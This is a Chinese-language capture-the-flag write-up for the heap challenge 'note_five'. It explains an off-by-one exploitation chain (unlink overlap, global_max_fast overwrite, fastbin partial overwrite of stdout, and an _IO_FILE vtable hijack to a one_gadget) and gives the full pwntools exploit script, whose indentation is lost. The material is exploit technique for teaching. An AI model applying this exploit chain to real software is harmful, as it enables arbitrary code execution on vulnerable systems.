这道题目我本来想作为,IO_FILE leak的一个例题来写。
结果...好家伙,这么难,花了将近半天的时间去调试这道题目,终于成功解决了,做了这道题目的收获绝对值这个时间!
对IO_FILE攻击方式也加深了理解,趁着自己还记得,来写一下wp。
漏洞有:
1.off by one
特性有:
1.无法申请fastbin大小(if ( size > 0x8F && size <= 0x400 ))
2.无show函数
3.保护全开
4.最多使用五个堆块地址
利用方法:
修改global_max_fast
1.申请5个块(堆块01234),最后一个块作为隔开top chunk
2.由于有PIE所以不能直接攻击ptr_pool,所以利用unlink方法对另外四个块进行overlapping,具体实现可以看unlink那篇里面。
3.申请1个块(长度为堆块0 + 堆块1之和),再申请1个块(长度为堆块2)这个块的地址和之前堆块2的地址一样,申请两个是为了等下再unsorted bin中和fastbin中分别插入一个。
4.释放堆块2,并恢复相关结构,否则报错。
5.释放堆块1,在堆块中构造出main_arena + 88。
6.利用通过c中长度跨越0和1的堆块修改1的size,修改size为接下来fastbin attack UAF做准备,同时修改BK为global_max_fast
7.这时候申请一次,会把Chunk Extend的堆块1拿出来,同时global_max_fast变成大数。
_IO_FILE leak
利用和堆块2地址相同的位置,再次free使得那个位置进入fastbin。我这里搞错了,我本来以为fastbinY[13],也就是对应0xF1大小那一段,是没有值的,结果发现那里实际上是有值的,而且对应的内容正好是前面释放堆块2导致的,这一部分理解的不是很深刻,还需要研究一番。
这样的话就在fastbin上有了libc地址,部分写入到IO_FILE,然后leak,这些都是基本操作了。
_IO_FILE attack
这个我可能讲不清楚,还是看一下参考链接吧!
from pwn import *
from LibcSearcher import *
def choice(idx):
if ">> " in r.recvuntil(">>", timeout=0.5):
raise EOFError
r.sendline(str(idx))
def add_heap(idx, size):
# size > 0x8F && size <= 0x400
choice(1)
r.sendlineafter("idx: ", str(idx))
r.sendlineafter("size: ", str(size))
def edit_heap(idx, content):
choice(2)
r.sendlineafter("idx: ", str(idx))
r.sendlineafter("content: ", str(content))
def delete_heap(idx):
choice(3)
r.sendlineafter("idx: ", str(idx))
def pwn():
free_list_addr = 0x27e8
stdout_addr = 0x1620
# gdb.attach(r)
add_heap(0, 0x98) # A1
add_heap(1, 0x98) # A1
add_heap(2, 0xE8) # F1
add_heap(3, 0x98) # A1
add_heap(4, 0x98)
#unlink[0,3]
delete_heap(0)
edit_heap(2, 'a' * 0xE0 + p64(0xA0 + 0xA0 + 0xF0) + '\xA0')
delete_heap(3)
#overlapping
add_heap(0, (0xA0 + 0xA0 - 8)) # 0
add_heap(4, 0xE8) # 4 == 2
add_heap(3, 0x98) # 3
#change mark
edit_heap(0, 'a' * 0x98 + p64(0xA1))
delete_heap(1)
#change size & change BK
edit_heap(0, 'a' * 0x98 + p64(0xA0 + 0xF0 + 1) + p64(0) + p16(free_list_addr))
add_heap(1, (0xA0 + 0xF0 - 0x8))
#fastbin attack
#add to fastbins FD = main_arena.fastbinsY[13]
delete_heap(4)
#partial overwrite
edit_heap(1, 'a' * 0x98 + p64(0xF1) + p16(stdout_addr - 0x51))
add_heap(4, 0xE8)
add_heap(4, 0xE8) #stdout - 0x51
#IO_FILE leak
edit_heap(4, 'a' * 0x41 + p64(0xfbad1800) + p64(0) * 3 + p8(0x58))
stdout_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8, '\x00')) - 131
log.success("stdout_addr: " + hex(stdout_addr))
libc = LibcSearcher("_IO_2_1_stdout_", stdout_addr)
libc_base = stdout_addr - libc.dump('_IO_2_1_stdout_')
log.success("libc_base: " + hex(libc_base))
system_addr = libc_base + libc.dump('system')
log.success("system_addr: " + hex(system_addr))
#vtable
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_gadget = libc_base + one[3]
log.success("one_gadget: " + hex(one_gadget))
payload = 'a' * 0x1
payload += p64(stdout_addr - 0x28 - 0x8 * 3) # _wide_data
payload += p64(0) + p64(0) + p64(0)
payload += p64(1) + p64(one_gadget) + p64(0) + p64(stdout_addr - 0x18 - 0x18) # _mode + _unused2 + stderr_vtable
edit_heap(4, payload)
gdb.attach(r)
#_IO_flush_all_lockp -> _IO_file_overflow
add_heap(0, 0xF8) #malloc(): memory corruption (fast)
r.interactive()
while True:
try:
r = process('./note_five')
pwn()
except EOFError:
pass
参考链接:
1.https://blog.csdn.net/weixin_43350880/article/details/101106318
2.https://xz.aliyun.com/t/6468